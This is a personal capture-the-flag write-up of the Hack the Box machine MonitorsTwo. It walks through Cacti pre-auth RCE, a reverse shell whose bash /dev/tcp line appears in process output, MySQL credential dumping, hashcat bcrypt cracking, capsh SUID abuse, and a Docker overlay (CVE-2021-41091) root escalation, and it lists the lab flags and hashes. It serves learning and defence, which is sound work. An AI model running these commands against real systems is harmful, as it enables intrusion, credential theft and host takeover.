MonitorsTwo (Hack the Box)

MonitorsTwo is an Easy Difficulty Linux machine showcasing a variety of vulnerabilities and misconfigurations. Initial enumeration exposes a web application prone to pre-authentication Remote Code Execution (RCE) through a malicious X-Forwarded-For header. Exploiting this vulnerability grants a shell within a Docker container. A misconfigured capsh binary with the SUID bit set allows for root access inside the container. Uncovering MySQL credentials enables the dumping of a hash, which, once cracked, provides SSH access to the machine. Further enumeration reveals a vulnerable Docker version ( CVE- 2021-41091 ) that permits a low-privileged user to access mounted container filesystems. Leveraging root access within the container, a bash binary with the SUID bit set is copied, resulting in privilege escalation on the host.1

MonitorsTwo (Hack the Box)

Difficulty: easy

User Flag: 56ae62d56114f8678da9072a0441142f

Root Flag: de560cbfa494ecbe13ac120973491c2b



Two open ports discovered in the initial full TCP scan: 22, 80.

$nmap -p 22,80 -sC -sV
Starting Nmap 7.93 ( ) at 2024-01-13 19:49 EST
Nmap scan report for
Host is up (0.026s latency).

22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
|   256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_  256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Login to Cacti
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 8.58 seconds

Initial Foothold


The site’s initial page is a Cacti application with version 1.2.2

There is a public CVE for this version, CVE-2022-461692, which is vulnerable to an auth bypass and remote code execution. The exploit script will use a reverse shell payload so let’s spin up a netcat listener.

Upgrading the reverse shell3:

  • Since python or python3 isn’t available, there is another way to spawn /bin/bash with a pty. script -O /dev/null -c /bin/bash. Once that completes, follow the rest of the steps to have a full pty.

There isn’t a lot of processes being displayed. It is possible that the proc filesystem has the hidepid=2 option set or that we are inside a Docker container.

www-data@50bca5e748b0:/var/www/html$ ps aux
ps aux
root           1  0.0  0.6  80160 25416 ?        Ss   00:46   0:01 apache2 -DFOREGROUND
www-data      33  0.0  0.6  87116 24168 ?        S    00:46   0:00 apache2 -DFOREGROUND
www-data      34  0.0  0.6  86996 24272 ?        S    00:46   0:00 apache2 -DFOREGROUND
www-data      35  0.0  0.5  87124 24072 ?        S    00:46   0:00 apache2 -DFOREGROUND
www-data      36  0.0  0.6  87084 24420 ?        S    00:46   0:00 apache2 -DFOREGROUND
www-data      37  0.0  0.6  87116 24372 ?        S    00:46   0:00 apache2 -DFOREGROUND
www-data      38  0.0  0.6  87068 24476 ?        S    00:49   0:00 apache2 -DFOREGROUND
www-data      93  0.0  0.0   2476   576 ?        S    05:19   0:00 sh -c /usr/local/bin/php -q /var/www/html/script_server.php realtime ;bash -c 'bash -i >& /dev/tcp/ 0>&1'
www-data      95  0.0  0.0   3892  2732 ?        S    05:19   0:00 bash -c bash -i >& /dev/tcp/ 0>&1
www-data      96  0.0  0.0   4156  3444 ?        S    05:19   0:00 bash -i
www-data     304  0.0  0.0   6752  2960 ?        R    15:02   0:00 ps aux


A few techniques to check if we are in a Docker container4.

  • hostname is randomly assigned 12 character string
  • the presence of .dockerenv in /
  • checking the cgroup process
www-data@50bca5e748b0:/var/www/html$ hostname
www-data@50bca5e748b0:/var/www/html$ ls -la / | grep .dockerenv
ls -la / | grep .dockerenv
-rwxr-xr-x   1 root root    0 Mar 21  2023 .dockerenv
www-data@50bca5e748b0:/var/www/html$ cat /proc/1/cgroup
cat /proc/1/cgroup

Next, we need to check if this is a privileged container. There is a few techniques here as well:

  • listing the devices with the fdisk command since a non-privileged container would deny this command from being run
  • check the seccomp value in the status process (0 for all fields indicates it is a privileged container)
  • listing out the devices in /dev (a LOT means that it is a privileged container)
www-data@50bca5e748b0:/var/www/html$ fdisk -l
fdisk -l
bash: fdisk: command not found
www-data@50bca5e748b0:/var/www/html$ cat /proc/1/status | grep -i "seccomp"
cat /proc/1/status | grep -i "seccomp"
Seccomp:        2
www-data@50bca5e748b0:/var/www/html$ ls -l /dev | wc -l
ls -l /dev | wc -l

Looks like we are in a Docker container but it appears to not be a privileged container.

Other than trying to breakout of the container, there might be interesting content in files on the container.

At this point, I got stuck and watched ippsec’s videos to get an idea of how to proceed. The key to the next step is in the config file for the Cacti application.

The root directory for the Cacti application is in /var/www/html. The configuration file with the information to connect to the MySQL database is in include/config.php

www-data@50bca5e748b0:/var/www/html$ cat include/config.php       
--- SNIP ---                                      

$database_type     = 'mysql';                                         
$database_default  = 'cacti';                                         
$database_hostname = 'db';                                            
$database_username = 'root';                                          
$database_password = 'root';                                          
$database_port     = '3306';                                          
$database_retries  = 5;                                               
$database_ssl      = false;                                           
$database_ssl_key  = '';                                              
$database_ssl_cert = '';                                              
$database_ssl_ca   = '';                                              
$database_persist  = false; 

--- SNIP ---

The hostname db indicates that it might be another Docker container as part of the same docker network. The container doesn’t have the nslookup, dig, or other name resolution tools but there is wget.

www-data@50bca5e748b0:/var/www/html$ wget db
--2024-01-14 17:42:05--  http://db/
Resolving db (db)...
Connecting to db (db)||:80... failed: Connection refused.

It is a MySQL server so I didn’t expect it to successfully perform a wget but we see the IP associated to it. Let’s connect to the MySQL server selecting the cacti database.

www-data@50bca5e748b0:/var/www/html$ mysql -u root -proot -h db cacti
MySQL [cacti]>  show tables;
--- SNIP ---
| user_auth                           |
| user_auth_cache                     |
| user_auth_group                     |
| user_auth_group_members             |
| user_auth_group_perms               |
| user_auth_group_realm               |
| user_auth_perms                     |
| user_auth_realm                     |
| user_domains                        |
| user_domains_ldap                   |
| user_log                            |
| vdef                                |
| vdef_items                          |
| version                             |
111 rows in set (0.001 sec)

The table we most likely care about in this data is the user_auth table.

MySQL [cacti]> show columns from user_auth;
| Field                  | Type                  | Null | Key | Default | Extra          |
| id                     | mediumint(8) unsigned | NO   | PRI | NULL    | auto_increment |
| username               | varchar(50)           | NO   | MUL | 0       |                |
| password               | varchar(256)          | NO   |     |         |                |
| realm                  | mediumint(8)          | NO   | MUL | 0       |                |
| full_name              | varchar(100)          | YES  |     | 0       |                |
| email_address          | varchar(128)          | YES  |     | NULL    |                |
| must_change_password   | char(2)               | YES  |     | NULL    |                |
| password_change        | char(2)               | YES  |     | on      |                |
| show_tree              | char(2)               | YES  |     | on      |                |
| show_list              | char(2)               | YES  |     | on      |                |
| show_preview           | char(2)               | NO   |     | on      |                |
| graph_settings         | char(2)               | YES  |     | NULL    |                |
| login_opts             | tinyint(3) unsigned   | NO   |     | 1       |                |
| policy_graphs          | tinyint(3) unsigned   | NO   |     | 1       |                |
| policy_trees           | tinyint(3) unsigned   | NO   |     | 1       |                |
| policy_hosts           | tinyint(3) unsigned   | NO   |     | 1       |                |
| policy_graph_templates | tinyint(3) unsigned   | NO   |     | 1       |                |
| enabled                | char(2)               | NO   | MUL | on      |                |
| lastchange             | int(11)               | NO   |     | -1      |                |
| lastlogin              | int(11)               | NO   |     | -1      |                |
| password_history       | varchar(4096)         | NO   |     | -1      |                |
| locked                 | varchar(3)            | NO   |     |         |                |
| failed_attempts        | int(5)                | NO   |     | 0       |                |
| lastfail               | int(10) unsigned      | NO   |     | 0       |                |
| reset_perms            | int(10) unsigned      | NO   |     | 0       |                |

MySQL [cacti]> select username,password,full_name,email_address from user_auth;
| username | password                                                     | full_name      | email_address          |
| admin    | $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC | Jamie Thompson | [email protected]  |
| guest    | 43e9a4ab75570f5b                                             | Guest Account  |                        |
| marcus   | $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C | Marcus Brune   | [email protected] |

Extracting out those password hashes excluding the guest hash and running hashcat in mode 3200 (bcrypt5).

$hashcat -a 0 -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt 
--- SNIP ---
--- SNIP ---

I quit after a while as the hash for admin was taking too long. The password cracked is for the username marcus. Maybe there is credential reuse and we can SSH as marcus.

$ssh [email protected]
The authenticity of host ' (' can't be established.
ECDSA key fingerprint is SHA256:7+5qUqmyILv7QKrQXPArj5uYqJwwe7mpUbzD/7cl44E.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '' (ECDSA) to the list of known hosts.
[email protected]'s password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-147-generic x86_64)

 * Documentation:
 * Management:
 * Support:

  System information as of Sun 14 Jan 2024 05:47:01 PM UTC

  System load:                      0.44
  Usage of /:                       63.0% of 6.73GB
  Memory usage:                     17%
  Swap usage:                       0%
  Processes:                        236
  Users logged in:                  0
  IPv4 address for br-60ea49c21773:
  IPv4 address for br-7c3b7c0d00b3:
  IPv4 address for docker0:
  IPv4 address for eth0:  
  IPv6 address for eth0:            dead:beef::250:56ff:feb0:b550

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to Check your Internet connection or proxy settings

You have mail.
Last login: Thu Mar 23 10:12:28 2023 from
marcus@monitorstwo:~$ whoami

Privilege Escalation

Looks like marcus has mail.

marcus@monitorstwo:~$ cat /var/mail/marcus                                                                                                                                                                                                                                                
From: [email protected]                                                                                                                                                                                                                                                       
To: [email protected]                                                                                                                                                                                                                                                                   
Subject: Security Bulletin - Three Vulnerabilities to be Aware Of                                                                                                                                                                                                                         
Dear all,                                                                                                                                                                                                                                                                                 
We would like to bring to your attention three vulnerabilities that have been recently discovered and should be addressed as soon as possible.                                                                                                                                            
CVE-2021-33033: This vulnerability affects the Linux kernel before 5.11.14 and is related to the CIPSO and CALIPSO refcounting for the DOI definitions. Attackers can exploit this use-after-free issue to write arbitrary values. Please update your kernel to version 5.11.14 or later t
o address this vulnerability.                                                                                                                                                                                                                                                             
CVE-2020-25706: This cross-site scripting (XSS) vulnerability affects Cacti 1.2.13 and occurs due to improper escaping of error messages during template import previews in the xml_path field. This could allow an attacker to inject malicious code into the webpage, potentially result
ing in the theft of sensitive data or session hijacking. Please upgrade to Cacti version 1.2.14 or later to address this vulnerability.     
CVE-2021-41091: This vulnerability affects Moby, an open-source project created by Docker for software containerization. Attackers could exploit this vulnerability by traversing directory contents and executing programs on the data directory with insufficiently restricted permissio
ns. The bug has been fixed in Moby (Docker Engine) version 20.10.9, and users should update to this version as soon as possible. Please note that running containers should be stopped and restarted for the permissions to be fixed.                                                     
We encourage you to take the necessary steps to address these vulnerabilities promptly to avoid any potential security breaches. If you have any questions or concerns, please do not hesitate to contact our IT department.                                                              
Best regards,                                                                                                                                                                                                                                                                             
Monitor Two                                                                                                                                                                                                                                                                               
Security Team                      

The CVE affecting Moby looks interesting. Instead of launching the exploit script for that CVE on target6, I’ll analyze the exploit in the Summary of Exploits section below and use this example to escalate privileges to root.

In that section, I mentioned that we need root access from within the container. So how can we get that?

www-data@50bca5e748b0:/var/www/html$ find / -perm /4000 2>/dev/null

/sbin/capsh is out of the usual from the ordinary list of binaries with the SUID bit set. GTFObins7 contains an entry for suid bit with capsh.

www-data@50bca5e748b0:/var/www/html$ capsh --gid=0 --uid=- --      
root@50bca5e748b0:/var/www/html# whoami

Now that we are root, change the permissions of the bash binary.

root@50bca5e748b0:/var/www/html# chmod +s /bin/bash

Switch to the shell with marcus and find the data overlay that contains the modified bash binary.

marcus@monitorstwo:~$ findmnt | grep docker/overlay2 | awk '{ print $1 }'
marcus@monitorstwo:~$ find /var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged -name bash -ls 2>/dev/null
    24304    944 -rwxr-xr-x   1 root     root       964536 Nov 23  2021 /var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged/usr/bin/bash
marcus@monitorstwo:~$ find /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged -name bash -ls 2>/dev/null
    43825      4 drwxr-xr-x   2 root     root         4096 Mar 22  2023 /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/usr/share/doc/bash
    46944      4 -rw-r--r--   1 root     root          194 Mar 27  2022 /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/usr/share/menu/bash
    41766   1208 -rwsr-sr-x   1 root     root      1234376 Mar 27  2022 /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/bin/bash

The second data overlay directory contains the modified binary.

marcus@monitorstwo:~$ /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/bin/bash -p -i
bash-5.1# whoami


A reflection of what was learned throughout this box.

Useful Commands

MySQL: List contents of a single row well-formatted just for readability: select * from user_auth LIMIT 1 \G;

Capsh: Escalate privileges with SUID bit set: capsh --gid=0 --uid=0 --

Crack bcrypt hash ($2*$): hashcat -a 0 -m 3200 hashes.txt wordlist.txt

Spawn a bash pty using script: script -O /dev/null -c /bin/bash

Killchain Summary

  1. Take advantage of a vulnerability in Cacti to execute a payload landing a shell inside of the web applications docker container
  2. Escalate privileges inside of the container through the misconfigured SUID bit set capsh binary
  3. Access the database server, dump the user_auth table, crack the bcrypt hashes, and crack marcus’s password using hashcat
  4. SSH to the target as marcus with the same cracked credentials in the user_auth table and read his mail on the server by the security team to identify a vulnerability in the Docker engine
  5. Take advantage of the vulnerability by modifying the bash binary of the webapp container that we have root access with and add the SUID bit to /bin/bash
  6. Find the mounted overlay directory for the webapp container and use the modified bash binary to escalate privileges on the host


Some misconfigurations that led us to have root access.

  • not patching vulnerabilities in software
  • sending sensitive mail through the Linux mail utility and not an authenticated system
  • reusing credentials for system access
  • misconfigured binaries with the SUID bit set

Summary of Exploits


Much of this CVE is covered and well explained with code snippets at


The vulnerability6 affects Moby, an open-source project created by Docker for software containerization. This vulnerability can be exploited by executing programs on the data directories of the containers with insufficiently restricted permissions. Fixed in version 20.10.9 of the Docker Engine.

If the user is able to view the mounts

marcus@monitorstwo:~$ findmnt | grep docker/overlay2 | awk '{ print $1 }'

then from within the container, they can modify the permissions of a binary (for e.g. bash) and allow the user on the host to run the bash binary located in the data directory to escalate privileges. The requirement is that the user in the container is root or can become root to modify the permissions.

From the container

root@container:/bin# chmod +s bash

From the host

Switch to the data directory that is specific to the container with root privileges.

marcus@monitorstwo:~$ cd /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
marcus@monitorstwo:/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/bin$ ./bash -p -i
bash-5.1# whoami


The initial access vector was simple with an easy proof-of-concept script but the privesc vector with the mounted overlay directories was interesting and eye-opening on how it can be exploited. This box really required me to think (especially after caving and watching IPPSec’s video) about how systems are administered using docker.